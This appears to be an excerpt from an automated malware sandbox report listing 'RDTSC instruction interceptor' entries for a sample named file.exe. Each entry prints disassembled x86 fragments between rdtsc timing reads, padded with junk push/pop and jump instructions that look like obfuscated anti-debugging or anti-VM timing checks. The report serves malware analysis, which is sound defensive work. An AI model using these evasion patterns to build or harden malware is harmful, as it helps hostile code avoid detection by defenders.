Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119B99A second address: 119BA10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push dword ptr fs:[00000000h] 0x00000012 mov bl, al 0x00000014 mov ebx, dword ptr [ebp+122D2CE7h] 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 sub dword ptr [ebp+122D1E2Dh], edi 0x00000027 mov eax, dword ptr [ebp+122D1519h] 0x0000002d push 00000000h 0x0000002f push ebp 0x00000030 call 00007F4F78C44E28h 0x00000035 pop ebp 0x00000036 mov dword ptr [esp+04h], ebp 0x0000003a add dword ptr [esp+04h], 00000018h 0x00000042 inc ebp 0x00000043 push ebp 0x00000044 ret 0x00000045 pop ebp 0x00000046 ret 0x00000047 mov ebx, dword ptr [ebp+122D377Ch] 0x0000004d push FFFFFFFFh 0x0000004f jmp 00007F4F78C44E39h 0x00000054 nop 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 pushad 0x00000059 popad 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119BA10 second address: 119BA15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119BA15 second address: 119BA2C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jg 00007F4F78C44E26h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007F4F78C44E26h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119BA2C second address: 119BA36 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4F78FA0DF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114C258 second address: 114C25E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114C25E second address: 114C2BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F4F78FA0E06h 0x0000000a jmp 00007F4F78FA0DFEh 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F4F78FA0E07h 0x00000016 jmp 00007F4F78FA0DFEh 0x0000001b jmp 00007F4F78FA0DFAh 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114C2BE second address: 114C2C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A484B second address: 11A484F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A484F second address: 11A4853 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A49A5 second address: 11A49AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A49AB second address: 11A49B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9D4D second address: 11A9D53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9D53 second address: 11A9D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F78C44E30h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9D67 second address: 11A9D7C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4F78FA0DF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007F4F78FA0DF6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9D7C second address: 11A9D80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9D80 second address: 11A9D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9D86 second address: 11A9D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9D92 second address: 11A9D9C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4F78FA0DF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114238E second address: 1142393 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1142393 second address: 11423B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F4F78FA0DF6h 0x00000012 jmp 00007F4F78FA0DFCh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11423B1 second address: 11423B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC85E second address: 11AC8E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F4F78FA0DF6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F4F78FA0E08h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jmp 00007F4F78FA0E08h 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 pushad 0x00000021 jmp 00007F4F78FA0E09h 0x00000026 jne 00007F4F78FA0DF6h 0x0000002c popad 0x0000002d jmp 00007F4F78FA0E02h 0x00000032 popad 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC8E1 second address: 11AC8E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B15DC second address: 11B15F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 jmp 00007F4F78FA0DFBh 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0344 second address: 11B0355 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4F78C44E2Ch 0x00000008 jno 00007F4F78C44E26h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0AE3 second address: 11B0AE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0F1C second address: 11B0F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0F22 second address: 11B0F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0F28 second address: 11B0F30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B11C3 second address: 11B11D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 jg 00007F4F78FA0E0Ah 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4BE3 second address: 11B4BE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4BE9 second address: 11B4BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4BED second address: 11B4BF3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B61F second address: 118B639 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4F78FA0E06h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118BC6D second address: 118BC79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118BC79 second address: FE391B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov dx, ax 0x0000000a push dword ptr [ebp+122D0429h] 0x00000010 call 00007F4F78FA0E03h 0x00000015 call 00007F4F78FA0DFBh 0x0000001a pushad 0x0000001b popad 0x0000001c pop edx 0x0000001d pop edi 0x0000001e call dword ptr [ebp+122D37ACh] 0x00000024 pushad 0x00000025 mov dword ptr [ebp+122D36B8h], ecx 0x0000002b xor eax, eax 0x0000002d jns 00007F4F78FA0DF7h 0x00000033 mov edx, dword ptr [esp+28h] 0x00000037 or dword ptr [ebp+122D36B8h], edi 0x0000003d mov dword ptr [ebp+122D2931h], eax 0x00000043 clc 0x00000044 mov esi, 0000003Ch 0x00000049 cmc 0x0000004a add esi, dword ptr [esp+24h] 0x0000004e cld 0x0000004f cld 0x00000050 lodsw 0x00000052 jmp 00007F4F78FA0DFFh 0x00000057 mov dword ptr [ebp+122D3010h], ecx 0x0000005d add eax, dword ptr [esp+24h] 0x00000061 mov dword ptr [ebp+122D36B8h], edx 0x00000067 mov ebx, dword ptr [esp+24h] 0x0000006b stc 0x0000006c nop 0x0000006d pushad 0x0000006e jmp 00007F4F78FA0DFAh 0x00000073 push eax 0x00000074 push edx 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118BD50 second address: 118BD61 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118BD61 second address: 118BD7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pop eax 0x00000008 jmp 00007F4F78FA0DFBh 0x0000000d push 0FA86279h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118BD7F second address: 118BD85 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C1F6 second address: 118C200 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4F78FA0DF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C8B1 second address: 118C8D4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a jmp 00007F4F78C44E35h 0x0000000f pop ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C8D4 second address: 116C4A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4F78FA0DF6h 0x0000000a popad 0x0000000b popad 0x0000000c nop 0x0000000d or dh, 00000045h 0x00000010 mov edi, dword ptr [ebp+122D2AF5h] 0x00000016 lea eax, dword ptr [ebp+1247B3FEh] 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007F4F78FA0DF8h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 0000001Ah 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 nop 0x00000037 push edx 0x00000038 jmp 00007F4F78FA0E06h 0x0000003d pop edx 0x0000003e push eax 0x0000003f push ecx 0x00000040 jno 00007F4F78FA0DFCh 0x00000046 pop ecx 0x00000047 nop 0x00000048 mov edi, dword ptr [ebp+122D293Dh] 0x0000004e call dword ptr [ebp+1244BE4Bh] 0x00000054 jl 00007F4F78FA0E0Ah 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007F4F78FA0DFAh 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C4A3 second address: 116C4B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C4B2 second address: 116C4B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113D1B6 second address: 113D1BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113D1BC second address: 113D1DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 jmp 00007F4F78FA0E02h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4F01 second address: 11B4F05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B5471 second address: 11B549C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4F78FA0DFAh 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F4F78FA0E07h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B549C second address: 11B54A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B54A2 second address: 11B54A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF8EE second address: 11BF914 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007F4F78C44E39h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BFA9E second address: 11BFABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4F78FA0DFCh 0x00000009 jg 00007F4F78FA0DF6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BFABB second address: 11BFABF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BFC29 second address: 11BFC2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C0037 second address: 11C00A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F4F78C44E33h 0x0000000c popad 0x0000000d pushad 0x0000000e jns 00007F4F78C44E2Ah 0x00000014 jmp 00007F4F78C44E39h 0x00000019 jmp 00007F4F78C44E36h 0x0000001e pushad 0x0000001f jnp 00007F4F78C44E26h 0x00000025 jmp 00007F4F78C44E34h 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C04E0 second address: 11C04E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C064B second address: 11C0655 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C0655 second address: 11C065B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C065B second address: 11C065F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C065F second address: 11C0679 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F4F78FA0DFEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C0679 second address: 11C06A8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4F78C44E37h 0x0000000f jmp 00007F4F78C44E2Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C06A8 second address: 11C06AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C06AC second address: 11C06BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F4F78C44E26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C06BC second address: 11C06C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C07DE second address: 11C07E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5BFB second address: 11C5C05 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4F78FA0DF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5C05 second address: 11C5C4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F4F78C44E38h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007F4F78C44E30h 0x00000013 push esi 0x00000014 ja 00007F4F78C44E26h 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c pop esi 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 push edx 0x00000022 pop edx 0x00000023 ja 00007F4F78C44E26h 0x00000029 jmp 00007F4F78C44E2Ch 0x0000002e push edx 0x0000002f pop edx 0x00000030 popad 0x00000031 push eax 0x00000032 push ecx 0x00000033 pop ecx 0x00000034 push ebx 0x00000035 pop ebx 0x00000036 pop eax 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5C4E second address: 11C5C61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78FA0DFDh 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C535B second address: 11C5360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5360 second address: 11C5366 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5366 second address: 11C536C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C536C second address: 11C5370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5370 second address: 11C53A3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4F78C44E26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F4F78C44E2Fh 0x00000014 pop eax 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a jnp 00007F4F78C44E26h 0x00000020 jnc 00007F4F78C44E26h 0x00000026 push edx 0x00000027 pop edx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C53A3 second address: 11C53A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C53A9 second address: 11C53AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6355 second address: 11C6372 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F78FA0E07h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6608 second address: 11C660D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113ECA7 second address: 113ECAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113ECAB second address: 113ECD9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4F78C44E26h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F4F78C44E33h 0x00000012 js 00007F4F78C44E26h 0x00000018 pushad 0x00000019 popad 0x0000001a push edx 0x0000001b pop edx 0x0000001c popad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113ECD9 second address: 113ECF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F4F78FA0DF6h 0x0000000a popad 0x0000000b popad 0x0000000c je 00007F4F78FA0E24h 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113ECF1 second address: 113ECF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDBD1 second address: 11CDBD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDBD5 second address: 11CDBDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDBDB second address: 11CDBF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4F78FA0E05h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDBF6 second address: 11CDC00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F4F78C44E26h 0x0000000a rdtsc
